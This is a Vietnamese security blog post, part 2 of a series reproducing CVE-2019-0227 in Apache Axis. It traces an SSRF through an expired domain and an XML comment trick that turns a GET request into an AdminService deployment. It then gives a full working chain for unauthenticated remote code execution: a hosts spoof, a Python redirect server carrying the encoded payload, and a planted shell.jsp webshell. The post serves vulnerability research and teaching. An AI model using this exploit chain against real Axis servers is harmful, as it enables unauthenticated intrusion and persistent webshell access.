Series Re-Search: Reproduce n-day with CVE-2019–0227 Expired Domain to Remote Code Execution in Apache Axis — part 2
Phần này sẽ là phần cần phải debug, phải dùng kỹ thuật nhiều để khai thác SSRF nên mình đã tách ra để người đọc không thấy dài quá.
b) SSRF thông qua Expired Domain
Mình đã khá tò mò khi đọc tí le cái bug này, tại mình cũng chưa gặp case này bao giờ. Phần này các bạn sẽ tập trung ở bài phân tích của David Yesland và sẽ cần debug, đọc source code nhiều nhé.
https://rhinosecuritylabs.com/application-security/cve-2019-0227-expired-domain-rce-apache-axis/
Trong quá trình nghiên cứu, tác giả đã tìm ra một default example web service có tên là StockQuoteService.jws. Service như hình bên dưới:
Mở IntelliJ ra, rồi tìm cái endpoint đó xem như thế này. Các bạn có thể sử dụng phím tắt Ctrl + Shift + F, để search StockQuoteService và kết quả cho chúng ta một số thông tin:
Click vào class StockQuoteService để xem qua source code, cũng chính ở đây, tác giả đã tìm ra được domain http://www.xmltoday.com bị hết hạn, attacker có thể hoàn toàn take over domain này và response về bất kì giá trị gì.
Để xem có phải class này xử lý endpoint StockQuoteService.jws hay không, đơn giản chỉ cần đặt breakpoint ở đây mà F5 lại truy cập vào http://127.0.0.1:8080/axis/StockQuoteService.jws xem có dừng lại không là được?
Cơ mà có cái nịt, đến chỗ này mình cũng không biết vì sao không vào class handle StockQuoteService. Có vẻ mình đã bỏ qua cái gì đó! Đến đây có 2 phương án:
Phương án 1: Vào web.xml xem servlet nào đang handle việc xử lý path đó hoặc file *.jws, và đặt breakpoint từ đó debug xuống để hiểu workflow.
Debug tới khi hiểu workflow thì sẽ biết cách trigger được class mình mong muốn lên. Cơ mà cách này hơi hardcore nên mình chuyển qua phương án 2
Phương án 2: Tìm 1 cái tương tự như StockQuoteService.jws để xem workflow của nó, từ đó rút ra cách tigger StockQuoteService.class của mình.
Ở đây, mình tìm thấy EchoHeaders.jws, nó cũng tìm ra được trên UI trên chịu khó tìm hiểu tính năng là ra.
Vậy điểm khác với StockQuoteService.jws là gì? Đó là EchoHeaders.jws có parameter trong request.
http://127.0.0.1:8080/axis/EchoHeaders.jws?method=list với list cũng là tên method trong class EchoHeaders.java.
Okie, nhìn lại class StockQuoteService.java một chút
Method là getQuote cơ mà thằng này có tham số symbol hơi khác một chút với EchoHeaders.java class! Đến chỗ này thì hãy nhớ tới bài phân tích Oracle PeopleSoft, bạn sẽ biết được tham số thứ 2 sẽ có format sẽ là http://127.0.0.1:8080/axis/StockQuoteService.jws?method=getQuote&symbol=aaa
Domain này đã được tác giả mua lai sau khi phát hiện để tránh ai khác lợi dụng, vậy để tiến hành reproduce nó thì chúng ta làm như thế nào?
Đơn giản là chỉ cần add thêm domain www.xmltoday.com này trỏ tới server chúng ta muốn vào file host mà thôi .
Đấy là lý do vì sao mọi người hãy đọc hết tất cả các bài blog liên quan trước khi bắt tay vào reporduce, khi đó chúng ta sẽ có 1 góc nhìn toàn cảnh nhất.
Phân tích XMLUtils.newDocument vì hàm này sẽ xử lý input là url xlmtoday.com mà mình control, xem nó làm gì mà SSRF được. Trace code ta sẽ thấy newDocument(String uri) -> newDocument(String uri, String username, String password)-> getInputSourceFromURI(uri, username, password);
Ở function getInputSourceFromURI, chúng ta sẽ thấy có một properties là uconn.setInstanceFollowRedirects(true); Tìm document và đọc thì đây là thuộc tính cho phép request được follow theo redirect của server trả về.
Đơn giản là bây giờ server Apache Axis request tới www.xmltoday.com, xmltoday trả về 301 Redirect, thì Apache Axis sẽ đi tiếp cái follow 301 Redirect đó với GET method. Vậy kịch bản tấn công sẽ là gì.
- Truy câp vào /axis/StockQuoteService.jws?method=getQuote&symbol=aaa để trigger XMLUtils.newDocument cho nó tạo request tới www.xmltoday.com
- Domain www.xmltoday.com chúng ta đã control được, khi nhận được request này thì cho response về 301 kèm Location: axis/services/AdminService để tới được endpoint đăng ký service. Đăng ký service cùng với
LogHandler
là có thể RCE mà không cần Authen. - Tuy nhiên, hàm trên chỉ cho GET method mà đăng ký Service với AdminService lại là POST method. Phải giải quyết bài toán này.
Giải quyết bài toán ở bước 3, chúng ta đã tái tạo được lỗi Unauthenticated RCE trên Apache Axis.
Axis: POST to GET
Hãy nhớ tới Axis: POST to GET ở bài phân thích PeopleSoft, nếu đọc mỗi bài đó thì chúng ta chả thấy việc phân tích chỗ này làm gì, nhưng sau khi phân tích như phía trên thì mọi người đã biết vì sao tác giả nhắc đấy chưa.
Tuy trong bài blog chúng ta có thể thấy hàm xử lý Post to Get ở class AxisServer ( như trên hình), tuy nhiên trong thực tế khi reproduce, mình Crtl + N trên IntelliJ để tìm và đọc source ở class này thì không thấy phần xử lý này đâu.
Mình đã phải decompile source và tìm kiếm string để kiếm được function xử lý chỗ này invokeEndpointFromGet của class QSMethodHandler.
Đặt breakpoint ở đây, đọc bài blog và chúng ta biết được:
GET /pspc/services/SomeService
?method=myMethod
¶meter1=test1
¶meter2=test2
Sẽ tương ứng với body:
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<myMethod>
<parameter1>test1</parameter1>
<parameter2>test2</parameter2>
</myMethod>
</soapenv:Body>
</soapenv:Envelope>
Áp dụng thực tế đối với RandomService
mà chúng ta đã đăng ký:
Vì nextInt
không có tham số nên Get method sẽ :
Breakpoint được trigger và hãy xem giá trị của biến msgtxt
là:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<nextInt></nextInt><!-- Input nextInt được cộng string ở đây-->
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Gần như giống hoàn toàn với body của POST
request mà chúng ta sử dụng! Tuy nhiên, đây là request sử dụng service đã đăng ký, vậy còn request GET method để đăng ký service thì sao.
Với input đầu vào có thể control là các param method
, args
nhiệm vụ chúng ta là phải xào chẻ sao để msgtxt
từ :
String body = "<" + method + ">" + args + "</" + method + ">";
String msgtxt = "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"><SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" + "</SOAP-ENV:Envelope>";
Thành payload:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="exploitedEndpoint" provider="java:RPC">
<requestFlow>
<handler type="RandomLog"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="/apache-tomcat-9.0.80/webapps/axis/shell.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment>
</soapenv:Body>
</SOAP-ENV:Envelope>
Vậy chúng ta phải input như này cho phù hợp. Nếu param method
là nguyên payload từ <ns1:deployment....</ns1:deployment>
thì
Debug:
Giá trịmsgtxt
sẽ thành:
XML đã bị sai format là do các ký tự <,>,</,>
được xử lý ở dòng code:
String body = "<" + method + ">" + args + "</" + method + ">";
Vậy nếu bây giờ payload của chúng ta có dạng ( nhìn kỹ đầu và cuối payload):
!--><ns1:deployment
xmlns="http://xml.apache.org/axis/wsdd/"
xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
xmlns:ns1="http://xml.apache.org/axis/wsdd/">
<ns1:service name="GETexploitedEndpoint" provider="java:RPC">
<requestFlow>
<handler type="RandomLog"/>
</requestFlow>
<ns1:parameter name="className" value="java.util.Random"/>
<ns1:parameter name="allowedMethods" value="*"/>
</ns1:service>
<handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >
<parameter name="LogHandler.fileName" value="/apache-tomcat-9.0.80/webapps/axis/shell.jsp" />
<parameter name="LogHandler.writeToConsole" value="false" />
</handler>
</ns1:deployment
Request:
Thì msgtxt
sẽ thành:
Sử dụng !-->
đã biến method
đầu tiên trong
String body = "<" + method + ">" + args + "</" + method + ">";
thành comment trong xml, từ đó payload của chúng ta đã đúng format và đăng ký service thành công.
Final Payload:
http://localhost:8080/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22shell.jsp%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment
Đã giải quết xong bài toán 3 trong quy tình khai thác. Bây giờ chỉ cần dựng 1 server giả của domain www.xlmtoday.com, response 301 với Location:
Location: http://localhost:8080/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22shell.jsp%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment
Tái tạo lại toàn bộ:
- Set host: 127.0.0.1 www.xmltoday.com
- Dựng web server
python exploit_server.py
như bên dưới:
from http.server import SimpleHTTPRequestHandler
from http.server import HTTPServer
class MyHandler(SimpleHTTPRequestHandler):
def do_GET(self):
# Redirect to localhost
self.send_response(301)
self.send_header("Location", "http://localhost:8080/axis/services/AdminService?method=%21--%3E%3Cns1%3Adeployment+xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22+xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22+xmlns%3Ans1%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%3E%3Cns1%3Aservice+name%3D%22exploitservice%22+provider%3D%22java%3ARPC%22%3E%3CrequestFlow%3E%3Chandler+type%3D%22RandomLog%22%2F%3E%3C%2FrequestFlow%3E%3Cns1%3Aparameter+name%3D%22className%22+value%3D%22java.util.Random%22%2F%3E%3Cns1%3Aparameter+name%3D%22allowedMethods%22+value%3D%22%2A%22%2F%3E%3C%2Fns1%3Aservice%3E%3Chandler+name%3D%22RandomLog%22+type%3D%22java%3Aorg.apache.axis.handlers.LogHandler%22+%3E%3Cparameter+name%3D%22LogHandler.fileName%22+value%3D%22shell.jsp%22+%2F%3E%3Cparameter+name%3D%22LogHandler.writeToConsole%22+value%3D%22false%22+%2F%3E%3C%2Fhandler%3E%3C%2Fns1%3Adeployment")
self.end_headers()
if __name__ == "__main__":
# Set up the server
server_address = ('', 80) # Change the port as needed
httpd = HTTPServer(server_address, MyHandler)
print(f"Server started on port {server_address[1]}")
httpd.serve_forever()
( Chú ý sửa lại folder drop shell và tên service)
3. Truy cập vào http://127.0.0.1:8080/axis/StockQuoteService.jws?method=getQuote&symbol=aaa
4. Sử dụng webshell http://local.host:8080/axis/shell.jsp?c=calc như ở phần trước. Hoàn thành
KẾT LUẬN:
Đây chỉ là PoC lại bug, còn bug này trong real world vẫn có thể sử dụng bằng các spoofing cái domain xmltoday đó trong môi trường internal network. Với n-day, bạn đã được cung cấp rất nhiều thông tin từ các blog/writeup rồi nên việc reproduce sẽ dễ hơn rất nhiều. Tuy nhiên, sau khi đã thực sự hiểu bug, bạn thử suy nghĩ lại cacs vấn đề trong bài, đặt câu hỏi và tự trả lợi nó để cải thiện khả năng của mình:
- Tại sao tác giả có thể tìm được việc handle POST to GET của Apache Axis?
- Tác giả đã đọc document để tìm ra tính năng
handler
? - Sao tác giả lại lựa chọn deep dive vào XMLUtils.newDocument để tìm ra việc redirect dẫn tới SSRF?
…
Đừng chỉ reproduce lại, hãy đặt mình vào góc nhìn của tác giả, bạn sẽ có nhiều question và nó sẽ giúp bạn cải thiện khả năng và mindset để tự tìm ra bug.